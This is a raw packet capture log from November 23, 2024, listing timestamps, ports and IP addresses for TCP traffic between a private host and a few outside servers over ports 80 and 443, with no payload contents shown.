Nov 23, 2024 09:16:30.232430935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.232451916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.232475042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.233522892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.233566999 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.233619928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.233661890 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.234646082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.234688997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.234827042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.234870911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.235795975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.235837936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.235860109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.235903025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.236912966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.236960888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.237009048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.237049103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.255125999 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.255136013 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.255170107 CET	49730	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.255173922 CET	443	49730	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.281524897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.281624079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.281642914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.281666994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.282181025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.282222986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.282305002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.282346010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.283231020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.283274889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.283289909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.283337116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.284338951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.284394026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.284719944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.284769058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.284827948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.284874916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.285842896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.285924911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.285959005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.286010981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.286987066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.287035942 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.287154913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.287199974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.288109064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.288157940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.288197994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.288244963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.289226055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.289273977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.289310932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.289356947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.290371895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.290416002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.290424109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.290472031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.291496038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.291546106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.291620016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.291661978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.292607069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.292654991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.292660952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.292711973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.293751955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.293798923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.293847084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.293889046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.294914961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.294965982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.295006037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.295048952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.304310083 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.304352045 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.304423094 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.308615923 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:30.308629036 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:30.353725910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.353761911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.353800058 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.353817940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.354087114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.354227066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.354254007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.354269028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.355214119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.355263948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.355329990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.355387926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.356342077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.356386900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.356388092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.356426001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.357465029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.357511997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.357584000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.357629061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.358592987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.358639956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.358714104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.358758926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.359746933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.359793901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.359833002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.359893084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.360910892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.360958099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.361069918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.361115932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.362004042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.362052917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.362122059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.362168074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.363114119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.363163948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.363229036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.363276005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.364259958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.364309072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.364346027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.364392996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.365397930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.365441084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.365504980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.365550041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.366518021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.366564989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.366609097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.366653919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.367664099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.367708921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.367784023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.367830038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.368779898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.368832111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.368899107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.368944883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.369920969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.369976997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.369980097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.370018959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.371046066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.371092081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.371165037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.371210098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.372178078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.372222900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.372303009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.372353077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.373333931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.373378992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.373410940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.373451948 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.374449015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.374502897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.374560118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.374603987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.375540018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.375580072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.417155027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.417227030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.417360067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.417407990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.417738914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.417782068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.417859077 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.417901039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.418864012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.418910980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.418998957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.419044971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.419995070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.420046091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.420164108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.420209885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.421128035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.421189070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.421273947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.421318054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.422246933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.422297955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.422372103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.422415972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.423381090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.423429966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.423535109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.423578024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.424524069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.424567938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.424606085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.424648046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.425777912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.425831079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.425992966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.426197052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.426784039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.426832914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.426871061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.426917076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.427908897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.427953005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.428023100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.428067923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.429054022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.429099083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.429195881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.429243088 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.430217028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.430268049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.430337906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.430382967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.431269884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.431322098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:30.482515097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:30.482587099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:31.823043108 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:31.824306965 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.824354887 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.824428082 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.824626923 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.824651003 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.824731112 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.825375080 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.825392962 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.826158047 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.826173067 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.854996920 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:31.855027914 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:31.855827093 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:31.855833054 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:31.857304096 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.857331038 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.857407093 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.857629061 CET	49741	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.857637882 CET	443	49741	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.899602890 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.899616957 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.899728060 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.900049925 CET	49742	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:31.900063992 CET	443	49742	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:31.999191046 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.001585007 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.001601934 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.003045082 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.003261089 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.003354073 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.003361940 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.011198997 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.011220932 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.012011051 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.012016058 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.012614012 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.012635946 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.013453960 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.013459921 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.160690069 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.161211014 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.161256075 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.162147045 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.162153006 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.266940117 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.267015934 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.267309904 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.267369986 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.267391920 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.267402887 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.267407894 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.270867109 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.270942926 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.271029949 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.271246910 CET	49745	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.271277905 CET	443	49745	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.441569090 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.441653013 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.441703081 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.441991091 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.442007065 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.446093082 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.446129084 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.446213007 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.446314096 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.446372032 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.446428061 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.446705103 CET	49746	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.446717978 CET	443	49746	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.446835995 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.446847916 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.446856976 CET	49734	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.446862936 CET	443	49734	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.446913958 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.447057009 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.447113991 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.448293924 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.448308945 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.448318958 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.448324919 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.460818052 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.460886002 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.460958958 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.461158991 CET	49747	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.461193085 CET	443	49747	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.462212086 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.462244987 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.462423086 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.462517977 CET	49748	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.462531090 CET	443	49748	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.613590956 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.613666058 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.613727093 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.613991976 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.614006996 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.614016056 CET	49735	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.614022017 CET	443	49735	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.617619991 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.617650032 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:32.617738008 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.617976904 CET	49749	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:32.617990971 CET	443	49749	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:33.523865938 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.528187990 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.528211117 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.529280901 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.529355049 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.530648947 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.530698061 CET	49739	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.530706882 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.530719042 CET	443	49739	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.561151981 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.564114094 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.564142942 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.565222025 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.565300941 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.565628052 CET	49740	443	192.168.2.6	172.217.21.36
Nov 23, 2024 09:16:33.565701008 CET	443	49740	172.217.21.36	192.168.2.6
Nov 23, 2024 09:16:33.565789938 CET	49740	443	192.168.2.6	172.217.21.36
